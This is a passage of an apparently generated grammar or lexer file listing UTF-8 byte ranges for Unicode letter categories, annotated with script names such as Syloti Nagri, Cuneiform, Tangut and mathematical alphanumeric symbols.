#Lo   [3] SYLOTI NAGRI LETTER U..SYLOTI NAGR...\n      | 0xEA 0xA0 0x87..0x8A    #Lo   [4] SYLOTI NAGRI LETTER KO..SYLOTI NAG...\n      | 0xEA 0xA0 0x8C..0xA2    #Lo  [23] SYLOTI NAGRI LETTER CO..SYLOTI NAG...\n      | 0xEA 0xA1 0x80..0xB3    #Lo  [52] PHAGS-PA LETTER KA..PHAGS-PA LETTE...\n      | 0xEA 0xA2 0x82..0xB3    #Lo  [50] SAURASHTRA LETTER A..SAURASHTRA LE...\n      | 0xEA 0xA3 0xB2..0xB7    #Lo   [6] DEVANAGARI SIGN SPACING CANDRABIND...\n      | 0xEA 0xA3 0xBB          #Lo       DEVANAGARI HEADSTROKE\n      | 0xEA 0xA3 0xBD          #Lo       DEVANAGARI JAIN OM\n      | 0xEA 0xA4 0x8A..0xA5    #Lo  [28] KAYAH LI LETTER KA..KAYAH LI LETTE...\n      | 0xEA 0xA4 0xB0..0xFF    #Lo  [23] REJANG LETTER KA..REJANG LETTER A\n      | 0xEA 0xA5 0x00..0x86    #\n      | 0xEA 0xA5 0xA0..0xBC    #Lo  [29] HANGUL CHOSEONG TIKEUT-MIEUM..HANG...\n      | 0xEA 0xA6 0x84..0xB2    #Lo  [47] JAVANESE LETTER A..JAVANESE LETTER HA\n      | 0xEA 0xA7 0x8F          #Lm       JAVANESE PANGRANGKEP\n      | 0xEA 0xA7 0xA0..0xA4    #Lo   [5] MYANMAR LETTER SHAN GHA..MYANMAR L...\n      | 0xEA 0xA7 0xA6          #Lm       MYANMAR MODIFIER LETTER SHAN REDUP...\n      | 0xEA 0xA7 0xA7..0xAF    #Lo   [9] MYANMAR LETTER TAI LAING NYA..MYAN...\n      | 0xEA 0xA7 0xBA..0xBE    #Lo   [5] MYANMAR LETTER TAI LAING LLA..MYAN...\n      | 0xEA 0xA8 0x80..0xA8    #Lo  [41] CHAM LETTER A..CHAM LETTER HA\n      | 0xEA 0xA9 0x80..0x82    #Lo   [3] CHAM LETTER FINAL K..CHAM LETTER F...\n      | 0xEA 0xA9 0x84..0x8B    #Lo   [8] CHAM LETTER FINAL CH..CHAM LETTER ...\n      | 0xEA 0xA9 0xA0..0xAF    #Lo  [16] MYANMAR LETTER KHAMTI GA..MYANMAR ...\n      | 0xEA 0xA9 0xB0          #Lm       MYANMAR MODIFIER LETTER KHAMTI RED...\n      | 0xEA 0xA9 0xB1..0xB6    #Lo   [6] MYANMAR LETTER KHAMTI XA..MYANMAR ...\n      | 0xEA 0xA9 0xBA          #Lo       MYANMAR LETTER AITON RA\n      | 0xEA 0xA9 0xBE..0xFF    #Lo  [50] MYANMAR LETTER SHWE PALAUNG CHA..T...\n      | 0xEA 0xAA 0x00..0xAF    #\n      | 0xEA 0xAA 0xB1          #Lo       TAI VIET VOWEL AA\n      | 0xEA 0xAA 0xB5..0xB6    #Lo   [2] TAI VIET VOWEL E..TAI VIET VOWEL O\n      | 0xEA 0xAA 0xB9..0xBD    #Lo   [5] TAI VIET VOWEL UEA..TAI VIET VOWEL AN\n      | 0xEA 0xAB 0x80          #Lo       TAI VIET TONE MAI NUENG\n      | 0xEA 0xAB 0x82          #Lo       TAI VIET TONE MAI SONG\n      | 0xEA 0xAB 0x9B..0x9C    #Lo   [2] TAI VIET SYMBOL KON..TAI VIET SYMB...\n      | 0xEA 0xAB 0x9D          #Lm       TAI VIET SYMBOL SAM\n      | 0xEA 0xAB 0xA0..0xAA    #Lo  [11] MEETEI MAYEK LETTER E..MEETEI MAYE...\n      | 0xEA 0xAB 0xB2          #Lo       MEETEI MAYEK ANJI\n      | 0xEA 0xAB 0xB3..0xB4    #Lm   [2] MEETEI MAYEK SYLLABLE REPETITION M...\n      | 0xEA 0xAC 0x81..0x86    #Lo   [6] ETHIOPIC SYLLABLE TTHU..ETHIOPIC S...\n      | 0xEA 0xAC 0x89..0x8E    #Lo   [6] ETHIOPIC SYLLABLE DDHU..ETHIOPIC S...\n      | 0xEA 0xAC 0x91..0x96    #Lo   [6] ETHIOPIC SYLLABLE DZU..ETHIOPIC SY...\n      | 0xEA 0xAC 0xA0..0xA6    #Lo   [7] ETHIOPIC SYLLABLE CCHHA..ETHIOPIC ...\n      | 0xEA 0xAC 0xA8..0xAE    #Lo   [7] ETHIOPIC SYLLABLE BBA..ETHIOPIC SY...\n      | 0xEA 0xAC 0xB0..0xFF    #L&  [43] LATIN SMALL LETTER BARRED ALPHA..L...\n      | 0xEA 0xAD 0x00..0x9A    #\n      | 0xEA 0xAD 0x9C..0x9F    #Lm   [4] MODIFIER LETTER SMALL HENG..MODIFI...\n      | 0xEA 0xAD 0xA0..0xA5    #L&   [6] LATIN SMALL LETTER SAKHA YAT..GREE...\n      | 0xEA 0xAD 0xB0..0xFF    #L&  [80] CHEROKEE SMALL LETTER A..CHEROKEE ...\n      | 0xEA 0xAE 0x00..0xBF    #\n      | 0xEA 0xAF 0x80..0xA2    #Lo  [35] MEETEI MAYEK LETTER KOK..MEETEI MA...\n      | 0xEA 0xB0 0x80..0xFF              #Lo [11172] HANGUL SYLLABLE GA..HA...\n      | 0xEA 0xB1..0xFF 0x00..0xFF        #\n      | 0xEB..0xEC 0x00..0xFF 0x00..0xFF  #\n      | 0xED 0x00 0x00..0xFF              #\n      | 0xED 0x01..0x9D 0x00..0xFF        #\n      | 0xED 0x9E 0x00..0xA3              #\n      | 0xED 0x9E 0xB0..0xFF    #Lo  [23] HANGUL JUNGSEONG O-YEO..HANGUL JUN...\n      | 0xED 0x9F 0x00..0x86    #\n      | 0xED 0x9F 0x8B..0xBB    #Lo  [49] HANGUL JONGSEONG NIEUN-RIEUL..HANG...\n      | 0xEF 0xA4 0x80..0xFF        #Lo [366] CJK COMPATIBILITY IDEOGRAPH-F9...\n      | 0xEF 0xA5..0xA8 0x00..0xFF  #\n      | 0xEF 0xA9 0x00..0xAD        #\n      | 0xEF 0xA9 0xB0..0xFF        #Lo [106] CJK COMPATIBILITY IDEOGRAPH-FA...\n      | 0xEF 0xAA..0xAA 0x00..0xFF  #\n      | 0xEF 0xAB 0x00..0x99        #\n      | 0xEF 0xAC 0x80..0x86    #L&   [7] LATIN SMALL LIGATURE FF..LATIN SMA...\n      | 0xEF 0xAC 0x93..0x97    #L&   [5] ARMENIAN SMALL LIGATURE MEN NOW..A...\n      | 0xEF 0xAC 0x9D          #Lo       HEBREW LETTER YOD WITH HIRIQ\n      | 0xEF 0xAC 0x9F..0xA8    #Lo  [10] HEBREW LIGATURE YIDDISH YOD YOD PA...\n      | 0xEF 0xAC 0xAA..0xB6    #Lo  [13] HEBREW LETTER SHIN WITH SHIN DOT.....\n      | 0xEF 0xAC 0xB8..0xBC    #Lo   [5] HEBREW LETTER TET WITH DAGESH..HEB...\n      | 0xEF 0xAC 0xBE          #Lo       HEBREW LETTER MEM WITH DAGESH\n      | 0xEF 0xAD 0x80..0x81    #Lo   [2] HEBREW LETTER NUN WITH DAGESH..HEB...\n      | 0xEF 0xAD 0x83..0x84    #Lo   [2] HEBREW LETTER FINAL PE WITH DAGESH...\n      | 0xEF 0xAD 0x86..0xFF    #Lo [108] HEBREW LETTER TSADI WITH DAGESH..A...\n      | 0xEF 0xAE 0x00..0xB1    #\n      | 0xEF 0xAF 0x93..0xFF        #Lo [363] ARABIC LETTER NG ISOLATED FORM...\n      | 0xEF 0xB0..0xB3 0x00..0xFF  #\n      | 0xEF 0xB4 0x00..0xBD        #\n      | 0xEF 0xB5 0x90..0xFF    #Lo  [64] ARABIC LIGATURE TEH WITH JEEM WITH...\n      | 0xEF 0xB6 0x00..0x8F    #\n      | 0xEF 0xB6 0x92..0xFF    #Lo  [54] ARABIC LIGATURE MEEM WITH JEEM WIT...\n      | 0xEF 0xB7 0x00..0x87    #\n      | 0xEF 0xB7 0xB0..0xBB    #Lo  [12] ARABIC LIGATURE SALLA USED AS KORA...\n      | 0xEF 0xB9 0xB0..0xB4    #Lo   [5] ARABIC FATHATAN ISOLATED FORM..ARA...\n      | 0xEF 0xB9 0xB6..0xFF        #Lo [135] ARABIC FATHA ISOLATED FORM..AR...\n      | 0xEF 0xBA..0xBA 0x00..0xFF  #\n      | 0xEF 0xBB 0x00..0xBC        #\n      | 0xEF 0xBC 0xA1..0xBA    #L&  [26] FULLWIDTH LATIN CAPITAL LETTER A.....\n      | 0xEF 0xBD 0x81..0x9A    #L&  [26] FULLWIDTH LATIN SMALL LETTER A..FU...\n      | 0xEF 0xBD 0xA6..0xAF    #Lo  [10] HALFWIDTH KATAKANA LETTER WO..HALF...\n      | 0xEF 0xBD 0xB0          #Lm       HALFWIDTH KATAKANA-HIRAGANA PROLON...\n      | 0xEF 0xBD 0xB1..0xFF    #Lo  [45] HALFWIDTH KATAKANA LETTER A..HALFW...\n      | 0xEF 0xBE 0x00..0x9D    #\n      | 0xEF 0xBE 0x9E..0x9F    #Lm   [2] HALFWIDTH KATAKANA VOICED SOUND MA...\n      | 0xEF 0xBE 0xA0..0xBE    #Lo  [31] HALFWIDTH HANGUL FILLER..HALFWIDTH...\n      | 0xEF 0xBF 0x82..0x87    #Lo   [6] HALFWIDTH HANGUL LETTER A..HALFWID...\n      | 0xEF 0xBF 0x8A..0x8F    #Lo   [6] HALFWIDTH HANGUL LETTER YEO..HALFW...\n      | 0xEF 0xBF 0x92..0x97    #Lo   [6] HALFWIDTH HANGUL LETTER YO..HALFWI...\n      | 0xEF 0xBF 0x9A..0x9C    #Lo   [3] HALFWIDTH HANGUL LETTER EU..HALFWI...\n      | 0xF0 0x90 0x80 0x80..0x8B  #Lo  [12] LINEAR B SYLLABLE B008 A..LINEA...\n      | 0xF0 0x90 0x80 0x8D..0xA6  #Lo  [26] LINEAR B SYLLABLE B036 JO..LINE...\n      | 0xF0 0x90 0x80 0xA8..0xBA  #Lo  [19] LINEAR B SYLLABLE B060 RA..LINE...\n      | 0xF0 0x90 0x80 0xBC..0xBD  #Lo   [2] LINEAR B SYLLABLE B017 ZA..LINE...\n      | 0xF0 0x90 0x80 0xBF..0xFF  #Lo  [15] LINEAR B SYLLABLE B020 ZO..LINE...\n      | 0xF0 0x90 0x81 0x00..0x8D  #\n      | 0xF0 0x90 0x81 0x90..0x9D  #Lo  [14] LINEAR B SYMBOL B018..LINEAR B ...\n      | 0xF0 0x90 0x82 0x80..0xFF  #Lo [123] LINEAR B IDEOGRAM B100 MAN..LIN...\n      | 0xF0 0x90 0x83 0x00..0xBA  #\n      | 0xF0 0x90 0x85 0x80..0xB4  #Nl  [53] GREEK ACROPHONIC ATTIC ONE QUAR...\n      | 0xF0 0x90 0x8A 0x80..0x9C  #Lo  [29] LYCIAN LETTER A..LYCIAN LETTER X\n      | 0xF0 0x90 0x8A 0xA0..0xFF  #Lo  [49] CARIAN LETTER A..CARIAN LETTER ...\n      | 0xF0 0x90 0x8B 0x00..0x90  #\n      | 0xF0 0x90 0x8C 0x80..0x9F  #Lo  [32] OLD ITALIC LETTER A..OLD ITALIC...\n      | 0xF0 0x90 0x8C 0xB0..0xFF  #Lo  [17] GOTHIC LETTER AHSA..GOTHIC LETT...\n      | 0xF0 0x90 0x8D 0x00..0x80  #\n      | 0xF0 0x90 0x8D 0x81     #Nl       GOTHIC LETTER NINETY\n      | 0xF0 0x90 0x8D 0x82..0x89  #Lo   [8] GOTHIC LETTER RAIDA..GOTHIC LET...\n      | 0xF0 0x90 0x8D 0x8A     #Nl       GOTHIC LETTER NINE HUNDRED\n      | 0xF0 0x90 0x8D 0x90..0xB5  #Lo  [38] OLD PERMIC LETTER AN..OLD PERMI...\n      | 0xF0 0x90 0x8E 0x80..0x9D  #Lo  [30] UGARITIC LETTER ALPA..UGARITIC ...\n      | 0xF0 0x90 0x8E 0xA0..0xFF  #Lo  [36] OLD PERSIAN SIGN A..OLD PERSIAN...\n      | 0xF0 0x90 0x8F 0x00..0x83  #\n      | 0xF0 0x90 0x8F 0x88..0x8F  #Lo   [8] OLD PERSIAN SIGN AURAMAZDAA..OL...\n      | 0xF0 0x90 0x8F 0x91..0x95  #Nl   [5] OLD PERSIAN NUMBER ONE..OLD PER...\n      | 0xF0 0x90 0x90 0x80..0xFF  #L&  [80] DESERET CAPITAL LETTER LONG I.....\n      | 0xF0 0x90 0x91 0x00..0x8F  #\n      | 0xF0 0x90 0x91 0x90..0xFF  #Lo  [78] SHAVIAN LETTER PEEP..OSMANYA LE...\n      | 0xF0 0x90 0x92 0x00..0x9D  #\n      | 0xF0 0x90 0x92 0xB0..0xFF  #L&  [36] OSAGE CAPITAL LETTER A..OSAGE C...\n      | 0xF0 0x90 0x93 0x00..0x93  #\n      | 0xF0 0x90 0x93 0x98..0xBB  #L&  [36] OSAGE SMALL LETTER A..OSAGE SMA...\n      | 0xF0 0x90 0x94 0x80..0xA7  #Lo  [40] ELBASAN LETTER A..ELBASAN LETTE...\n      | 0xF0 0x90 0x94 0xB0..0xFF  #Lo  [52] CAUCASIAN ALBANIAN LETTER ALT.....\n      | 0xF0 0x90 0x95 0x00..0xA3  #\n      | 0xF0 0x90 0x98 0x80..0xFF        #Lo [311] LINEAR A SIGN AB001..LINE...\n      | 0xF0 0x90 0x99..0x9B 0x00..0xFF  #\n      | 0xF0 0x90 0x9C 0x00..0xB6        #\n      | 0xF0 0x90 0x9D 0x80..0x95  #Lo  [22] LINEAR A SIGN A701 A..LINEAR A ...\n      | 0xF0 0x90 0x9D 0xA0..0xA7  #Lo   [8] LINEAR A SIGN A800..LINEAR A SI...\n      | 0xF0 0x90 0xA0 0x80..0x85  #Lo   [6] CYPRIOT SYLLABLE A..CYPRIOT SYL...\n      | 0xF0 0x90 0xA0 0x88     #Lo       CYPRIOT SYLLABLE JO\n      | 0xF0 0x90 0xA0 0x8A..0xB5  #Lo  [44] CYPRIOT SYLLABLE KA..CYPRIOT SY...\n      | 0xF0 0x90 0xA0 0xB7..0xB8  #Lo   [2] CYPRIOT SYLLABLE XA..CYPRIOT SY...\n      | 0xF0 0x90 0xA0 0xBC     #Lo       CYPRIOT SYLLABLE ZA\n      | 0xF0 0x90 0xA0 0xBF..0xFF  #Lo  [23] CYPRIOT SYLLABLE ZO..IMPERIAL A...\n      | 0xF0 0x90 0xA1 0x00..0x95  #\n      | 0xF0 0x90 0xA1 0xA0..0xB6  #Lo  [23] PALMYRENE LETTER ALEPH..PALMYRE...\n      | 0xF0 0x90 0xA2 0x80..0x9E  #Lo  [31] NABATAEAN LETTER FINAL ALEPH..N...\n      | 0xF0 0x90 0xA3 0xA0..0xB2  #Lo  [19] HATRAN LETTER ALEPH..HATRAN LET...\n      | 0xF0 0x90 0xA3 0xB4..0xB5  #Lo   [2] HATRAN LETTER SHIN..HATRAN LETT...\n      | 0xF0 0x90 0xA4 0x80..0x95  #Lo  [22] PHOENICIAN LETTER ALF..PHOENICI...\n      | 0xF0 0x90 0xA4 0xA0..0xB9  #Lo  [26] LYDIAN LETTER A..LYDIAN LETTER C\n      | 0xF0 0x90 0xA6 0x80..0xB7  #Lo  [56] MEROITIC HIEROGLYPHIC LETTER A....\n      | 0xF0 0x90 0xA6 0xBE..0xBF  #Lo   [2] MEROITIC CURSIVE LOGOGRAM RMT.....\n      | 0xF0 0x90 0xA8 0x80     #Lo       KHAROSHTHI LETTER A\n      | 0xF0 0x90 0xA8 0x90..0x93  #Lo   [4] KHAROSHTHI LETTER KA..KHAROSHTH...\n      | 0xF0 0x90 0xA8 0x95..0x97  #Lo   [3] KHAROSHTHI LETTER CA..KHAROSHTH...\n      | 0xF0 0x90 0xA8 0x99..0xB3  #Lo  [27] KHAROSHTHI LETTER NYA..KHAROSHT...\n      | 0xF0 0x90 0xA9 0xA0..0xBC  #Lo  [29] OLD SOUTH ARABIAN LETTER HE..OL...\n      | 0xF0 0x90 0xAA 0x80..0x9C  #Lo  [29] OLD NORTH ARABIAN LETTER HEH..O...\n      | 0xF0 0x90 0xAB 0x80..0x87  #Lo   [8] MANICHAEAN LETTER ALEPH..MANICH...\n      | 0xF0 0x90 0xAB 0x89..0xA4  #Lo  [28] MANICHAEAN LETTER ZAYIN..MANICH...\n      | 0xF0 0x90 0xAC 0x80..0xB5  #Lo  [54] AVESTAN LETTER A..AVESTAN LETTE...\n      | 0xF0 0x90 0xAD 0x80..0x95  #Lo  [22] INSCRIPTIONAL PARTHIAN LETTER A...\n      | 0xF0 0x90 0xAD 0xA0..0xB2  #Lo  [19] INSCRIPTIONAL PAHLAVI LETTER AL...\n      | 0xF0 0x90 0xAE 0x80..0x91  #Lo  [18] PSALTER PAHLAVI LETTER ALEPH..P...\n      | 0xF0 0x90 0xB0 0x80..0xFF  #Lo  [73] OLD TURKIC LETTER ORKHON A..OLD...\n      | 0xF0 0x90 0xB1 0x00..0x88  #\n      | 0xF0 0x90 0xB2 0x80..0xB2  #L&  [51] OLD HUNGARIAN CAPITAL LETTER A....\n      | 0xF0 0x90 0xB3 0x80..0xB2  #L&  [51] OLD HUNGARIAN SMALL LETTER A..O...\n      | 0xF0 0x91 0x80 0x83..0xB7  #Lo  [53] BRAHMI SIGN JIHVAMULIYA..BRAHMI...\n      | 0xF0 0x91 0x82 0x83..0xAF  #Lo  [45] KAITHI LETTER A..KAITHI LETTER HA\n      | 0xF0 0x91 0x83 0x90..0xA8  #Lo  [25] SORA SOMPENG LETTER SAH..SORA S...\n      | 0xF0 0x91 0x84 0x83..0xA6  #Lo  [36] CHAKMA LETTER AA..CHAKMA LETTER...\n      | 0xF0 0x91 0x85 0x90..0xB2  #Lo  [35] MAHAJANI LETTER A..MAHAJANI LET...\n      | 0xF0 0x91 0x85 0xB6     #Lo       MAHAJANI LIGATURE SHRI\n      | 0xF0 0x91 0x86 0x83..0xB2  #Lo  [48] SHARADA LETTER A..SHARADA LETTE...\n      | 0xF0 0x91 0x87 0x81..0x84  #Lo   [4] SHARADA SIGN AVAGRAHA..SHARADA OM\n      | 0xF0 0x91 0x87 0x9A     #Lo       SHARADA EKAM\n      | 0xF0 0x91 0x87 0x9C     #Lo       SHARADA HEADSTROKE\n      | 0xF0 0x91 0x88 0x80..0x91  #Lo  [18] KHOJKI LETTER A..KHOJKI LETTER JJA\n      | 0xF0 0x91 0x88 0x93..0xAB  #Lo  [25] KHOJKI LETTER NYA..KHOJKI LETTE...\n      | 0xF0 0x91 0x8A 0x80..0x86  #Lo   [7] MULTANI LETTER A..MULTANI LETTE...\n      | 0xF0 0x91 0x8A 0x88     #Lo       MULTANI LETTER GHA\n      | 0xF0 0x91 0x8A 0x8A..0x8D  #Lo   [4] MULTANI LETTER CA..MULTANI LETT...\n      | 0xF0 0x91 0x8A 0x8F..0x9D  #Lo  [15] MULTANI LETTER NYA..MULTANI LET...\n      | 0xF0 0x91 0x8A 0x9F..0xA8  #Lo  [10] MULTANI LETTER BHA..MULTANI LET...\n      | 0xF0 0x91 0x8A 0xB0..0xFF  #Lo  [47] KHUDAWADI LETTER A..KHUDAWADI L...\n      | 0xF0 0x91 0x8B 0x00..0x9E  #\n      | 0xF0 0x91 0x8C 0x85..0x8C  #Lo   [8] GRANTHA LETTER A..GRANTHA LETTE...\n      | 0xF0 0x91 0x8C 0x8F..0x90  #Lo   [2] GRANTHA LETTER EE..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0x93..0xA8  #Lo  [22] GRANTHA LETTER OO..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xAA..0xB0  #Lo   [7] GRANTHA LETTER PA..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xB2..0xB3  #Lo   [2] GRANTHA LETTER LA..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xB5..0xB9  #Lo   [5] GRANTHA LETTER VA..GRANTHA LETT...\n      | 0xF0 0x91 0x8C 0xBD     #Lo       GRANTHA SIGN AVAGRAHA\n      | 0xF0 0x91 0x8D 0x90     #Lo       GRANTHA OM\n      | 0xF0 0x91 0x8D 0x9D..0xA1  #Lo   [5] GRANTHA SIGN PLUTA..GRANTHA LET...\n      | 0xF0 0x91 0x90 0x80..0xB4  #Lo  [53] NEWA LETTER A..NEWA LETTER HA\n      | 0xF0 0x91 0x91 0x87..0x8A  #Lo   [4] NEWA SIGN AVAGRAHA..NEWA SIDDHI\n      | 0xF0 0x91 0x92 0x80..0xAF  #Lo  [48] TIRHUTA ANJI..TIRHUTA LETTER HA\n      | 0xF0 0x91 0x93 0x84..0x85  #Lo   [2] TIRHUTA SIGN AVAGRAHA..TIRHUTA ...\n      | 0xF0 0x91 0x93 0x87     #Lo       TIRHUTA OM\n      | 0xF0 0x91 0x96 0x80..0xAE  #Lo  [47] SIDDHAM LETTER A..SIDDHAM LETTE...\n      | 0xF0 0x91 0x97 0x98..0x9B  #Lo   [4] SIDDHAM LETTER THREE-CIRCLE ALT...\n      | 0xF0 0x91 0x98 0x80..0xAF  #Lo  [48] MODI LETTER A..MODI LETTER LLA\n      | 0xF0 0x91 0x99 0x84     #Lo       MODI SIGN HUVA\n      | 0xF0 0x91 0x9A 0x80..0xAA  #Lo  [43] TAKRI LETTER A..TAKRI LETTER RRA\n      | 0xF0 0x91 0x9C 0x80..0x99  #Lo  [26] AHOM LETTER KA..AHOM LETTER JHA\n      | 0xF0 0x91 0xA2 0xA0..0xFF  #L&  [64] WARANG CITI CAPITAL LETTER NGAA...\n      | 0xF0 0x91 0xA3 0x00..0x9F  #\n      | 0xF0 0x91 0xA3 0xBF     #Lo       WARANG CITI OM\n      | 0xF0 0x91 0xAB 0x80..0xB8  #Lo  [57] PAU CIN HAU LETTER PA..PAU CIN ...\n      | 0xF0 0x91 0xB0 0x80..0x88  #Lo   [9] BHAIKSUKI LETTER A..BHAIKSUKI L...\n      | 0xF0 0x91 0xB0 0x8A..0xAE  #Lo  [37] BHAIKSUKI LETTER E..BHAIKSUKI L...\n      | 0xF0 0x91 0xB1 0x80     #Lo       BHAIKSUKI SIGN AVAGRAHA\n      | 0xF0 0x91 0xB1 0xB2..0xFF  #Lo  [30] MARCHEN LETTER KA..MARCHEN LETT...\n      | 0xF0 0x91 0xB2 0x00..0x8F  #\n      | 0xF0 0x92 0x80 0x80..0xFF        #Lo [922] CUNEIFORM SIGN A..CUNEIFO...\n      | 0xF0 0x92 0x81..0x8D 0x00..0xFF  #\n      | 0xF0 0x92 0x8E 0x00..0x99        #\n      | 0xF0 0x92 0x90 0x80..0xFF  #Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH....\n      | 0xF0 0x92 0x91 0x00..0xAE  #\n      | 0xF0 0x92 0x92 0x80..0xFF        #Lo [196] CUNEIFORM SIGN AB TIMES N...\n      | 0xF0 0x92 0x93..0x94 0x00..0xFF  #\n      | 0xF0 0x92 0x95 0x00..0x83        #\n      | 0xF0 0x93 0x80 0x80..0xFF        #Lo [1071] EGYPTIAN HIEROGLYPH A001...\n      | 0xF0 0x93 0x81..0x8F 0x00..0xFF  #\n      | 0xF0 0x93 0x90 0x00..0xAE        #\n      | 0xF0 0x94 0x90 0x80..0xFF        #Lo [583] ANATOLIAN HIEROGLYPH A001...\n      | 0xF0 0x94 0x91..0x98 0x00..0xFF  #\n      | 0xF0 0x94 0x99 0x00..0x86        #\n      | 0xF0 0x96 0xA0 0x80..0xFF        #Lo [569] BAMUM LETTER PHASE-A NGKU...\n      | 0xF0 0x96 0xA1..0xA7 0x00..0xFF  #\n      | 0xF0 0x96 0xA8 0x00..0xB8        #\n      | 0xF0 0x96 0xA9 0x80..0x9E  #Lo  [31] MRO LETTER TA..MRO LETTER TEK\n      | 0xF0 0x96 0xAB 0x90..0xAD  #Lo  [30] BASSA VAH LETTER ENNI..BASSA VA...\n      | 0xF0 0x96 0xAC 0x80..0xAF  #Lo  [48] PAHAWH HMONG VOWEL KEEB..PAHAWH...\n      | 0xF0 0x96 0xAD 0x80..0x83  #Lm   [4] PAHAWH HMONG SIGN VOS SEEV..PAH...\n      | 0xF0 0x96 0xAD 0xA3..0xB7  #Lo  [21] PAHAWH HMONG SIGN VOS LUB..PAHA...\n      | 0xF0 0x96 0xAD 0xBD..0xFF  #Lo  [19] PAHAWH HMONG CLAN SIGN TSHEEJ.....\n      | 0xF0 0x96 0xAE 0x00..0x8F  #\n      | 0xF0 0x96 0xBC 0x80..0xFF  #Lo  [69] MIAO LETTER PA..MIAO LETTER HHA\n      | 0xF0 0x96 0xBD 0x00..0x84  #\n      | 0xF0 0x96 0xBD 0x90     #Lo       MIAO LETTER NASALIZATION\n      | 0xF0 0x96 0xBE 0x93..0x9F  #Lm  [13] MIAO LETTER TONE-2..MIAO LETTER...\n      | 0xF0 0x96 0xBF 0xA0     #Lm       TANGUT ITERATION MARK\n      | 0xF0 0x97 0x80 0x80..0xFF        #Lo [6125] TANGUT IDEOGRAPH-17000.....\n      | 0xF0 0x97 0x81..0xFF 0x00..0xFF  #\n      | 0xF0 0x98 0x00 0x00..0xFF        #\n      | 0xF0 0x98 0x01..0x9E 0x00..0xFF  #\n      | 0xF0 0x98 0x9F 0x00..0xAC        #\n      | 0xF0 0x98 0xA0 0x80..0xFF        #Lo [755] TANGUT COMPONENT-001..TAN...\n      | 0xF0 0x98 0xA1..0xAA 0x00..0xFF  #\n      | 0xF0 0x98 0xAB 0x00..0xB2        #\n      | 0xF0 0x9B 0x80 0x80..0x81  #Lo   [2] KATAKANA LETTER ARCHAIC E..HIRA...\n      | 0xF0 0x9B 0xB0 0x80..0xFF  #Lo [107] DUPLOYAN LETTER H..DUPLOYAN LET...\n      | 0xF0 0x9B 0xB1 0x00..0xAA  #\n      | 0xF0 0x9B 0xB1 0xB0..0xBC  #Lo  [13] DUPLOYAN AFFIX LEFT HORIZONTAL ...\n      | 0xF0 0x9B 0xB2 0x80..0x88  #Lo   [9] DUPLOYAN AFFIX HIGH ACUTE..DUPL...\n      | 0xF0 0x9B 0xB2 0x90..0x99  #Lo  [10] DUPLOYAN AFFIX LOW ACUTE..DUPLO...\n      | 0xF0 0x9D 0x90 0x80..0xFF  #L&  [85] MATHEMATICAL BOLD CAPITAL A..MA...\n      | 0xF0 0x9D 0x91 0x00..0x94  #\n      | 0xF0 0x9D 0x91 0x96..0xFF  #L&  [71] MATHEMATICAL ITALIC SMALL I..MA...\n      | 0xF0 0x9D 0x92 0x00..0x9C  #\n      | 0xF0 0x9D 0x92 0x9E..0x9F  #L&   [2] MATHEMATICAL SCRIPT CAPITAL C.....\n      | 0xF0 0x9D 0x92 0xA2     #L&       MATHEMATICAL SCRIPT CAPITAL G\n      | 0xF0 0x9D 0x92 0xA5..0xA6  #L&   [2] MATHEMATICAL SCRIPT CAPITAL J.....\n      | 0xF0 0x9D 0x92 0xA9..0xAC  #L&   [4] MATHEMATICAL SCRIPT CAPITAL N.....\n      | 0xF0 0x9D 0x92 0xAE..0xB9  #L&  [12] MATHEMATICAL SCRIPT CAPITAL S.....\n      | 0xF0 0x9D 0x92 0xBB     #L&       MATHEMATICAL SCRIPT SMALL F\n      | 0xF0 0x9D 0x92 0xBD..0xFF  #L&   [7] MATHEMATICAL SCRIPT SMALL H..MA...\n      | 0xF0 0x9D 0x93 0x00..0x83  #\n      | 0xF0 0x9D 0x93 0x85..0xFF  #L&  [65] MATHEMATICAL SCRIPT SMALL P..MA...\n      | 0xF0 0x9D 0x94 0x00..0x85  #\n      | 0xF0 0x9D 0x94 0x87..0x8A  #L&   [4] MATHEMATICAL FRAKTUR CAPITAL D....\n      | 0xF0 0x9D 0x94 0x8D..0x94  #L&   [8] MATHEMATICAL FRAKTUR CAPITAL J....\n      | 0xF0 0x9D 0x94 0x96..0x9C  #L&   [7] MATHEMATICAL FRAKTUR CAPITAL S....\n      | 0xF0 0x9D 0x94 0x9E..0xB9  #L&  [28] MATHEMATICAL FRAKTUR SMALL A..M...\n      | 0xF0 0x9D 0x94 0xBB..0xBE  #L&   [4] MATHEMATICAL DOUBLE-STRUCK CAPI...\n      | 0xF0 0x9D 0x95 0x80..0x84  #L&   [5] MATHEMATICAL DOUBLE-STRUCK CAPI...\n      | 0xF0 0x9D 0x95 0x86     #L&       MATHEMATICAL DOUBLE-STRUCK CAPITAL O\n      | 0xF0 0x9D 0x95 0x8A..0x90  #L&   [7] MATHEMATICAL DOUBLE-STRUCK CAPI...\n      | 0xF0 0x9D 0x95 0x92..0xFF        #L& [340] MATHEMATICAL DOUBLE-STRUC...\n      | 0xF0 0x9D 0x96..0x99 0x00..0xFF  #\n      | 0xF0 0x9D 0x9A 0x00..0xA5        #\n      | 0xF0 0x9D 0x9A 0xA8..0xFF  #L&  [25] MATHEMATICAL BOLD CAPITAL ALPHA...\n      | 0xF0 0x9D 0x9B 0x00..0x80  #\n      | 0xF0 0x9D 0x9B 0x82..0x9A  #L&  [25] MATHEMATICAL BOLD SMALL ALPHA.....\n      | 0xF0 0x9D 0x9B 0x9C..0xBA  #L&  [31] MATHEMATICAL BOLD EPSILON SYMBO...\n      | 0xF0 0x9D 0x9B 0xBC..0xFF  #L&  [25] MATHEMATICAL ITALIC SMALL ALPHA...\n      | 0xF0 0x9D 0x9C 0x00..0x94  #\n      | 0xF0 0x9D 0x9C 0x96..0xB4  #L&  [31] MATHEMATICAL ITALIC EPSILON SYM...\n      | 0xF0 0x9D 0x9C 0xB6..0xFF  #L&  [25] MATHEMATICAL BOLD ITALIC SMALL ...\n      | 0xF0 0x9D 0x9D 0x00..0x8E  #\n      | 0xF0 0x9D 0x9D 0x90..0xAE  #L&  [31] MATHEMATICAL BOLD ITALIC EPSILO...\n      | 0xF0 0x9D 0x9D 0xB0..0xFF  #L&  [25] MATHEMATICAL SANS-SERIF BOLD SM...\n      | 0xF0 0x9D 0x9E 0x00..0x88  #\n      | 0xF0 0x9D 0x9E 0x8A..0xA8  #L&  [31] MATHEMATICAL SANS-SERIF BOLD EP...\n      | 0xF0 0x9D 0x9E 